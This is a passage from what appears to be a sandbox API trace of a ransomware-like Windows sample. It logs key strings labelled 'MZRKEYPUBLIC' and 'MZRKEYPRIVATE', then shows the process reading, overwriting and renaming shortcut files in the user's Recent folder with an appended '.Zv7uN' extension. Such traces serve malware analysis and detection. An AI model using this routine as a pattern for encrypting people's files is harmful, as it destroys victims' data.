Co8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0084.642] GetCurrentThreadId () returned 0xa30 [0084.642] GetCurrentThreadId () returned 0xa30 [0084.642] GetCurrentThreadId () returned 0xa30 [0084.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.643] GetCurrentThreadId () returned 0xa30 [0084.644] GetCurrentThreadId () returned 0xa30 [0084.644] GetCurrentThreadId () returned 0xa30 [0084.644] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxHQGFPyd0BOtwqaWoa8.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xxhqgfpyd0botwqawoa8.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.644] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.644] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.644] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x46e [0084.644] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.645] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x46e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x46e, lpOverlapped=0x0) returned 1 [0084.646] CloseHandle (hObject=0x124) returned 1 [0084.647] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxHQGFPyd0BOtwqaWoa8.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xxhqgfpyd0botwqawoa8.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.649] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x46e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x46e, lpOverlapped=0x0) returned 1 [0084.661] CloseHandle (hObject=0x124) returned 1 [0084.663] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxHQGFPyd0BOtwqaWoa8.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xxhqgfpyd0botwqawoa8.ots.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xxHQGFPyd0BOtwqaWoa8.ots.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xxhqgfpyd0botwqawoa8.ots.lnk.zv7un")) returned 1 [0084.665] GetCurrentThreadId () returned 0xa30 [0084.665] GetCurrentThreadId () returned 0xa30 [0084.665] GetCurrentThreadId () returned 0xa30 [0084.665] GetCurrentThreadId () returned 0xa30 [0084.665] GetCurrentThreadId () returned 0xa30 [0084.665] GetCurrentThreadId () returned 0xa30 [0084.665] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe376d540, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe376d540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe376d540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Yf8w3Ir-P2yrhyy.lnk", cAlternateFileName="YF8W3I~1.LNK")) returned 1 [0084.665] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.665] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yf8w3Ir-P2yrhyy.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\yf8w3ir-p2yrhyy.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe376d540, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe376d540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe376d540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20ee)) returned 1 [0084.666] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yf8w3Ir-P2yrhyy.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\yf8w3ir-p2yrhyy.lnk")) returned 0x20 [0084.666] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yf8w3Ir-P2yrhyy.lnk", dwFileAttributes=0x80) returned 1 [0084.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.669] GetCurrentThreadId () returned 0xa30 [0084.669] GetCurrentThreadId () returned 0xa30 [0084.670] GetCurrentThreadId () returned 0xa30 [0084.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 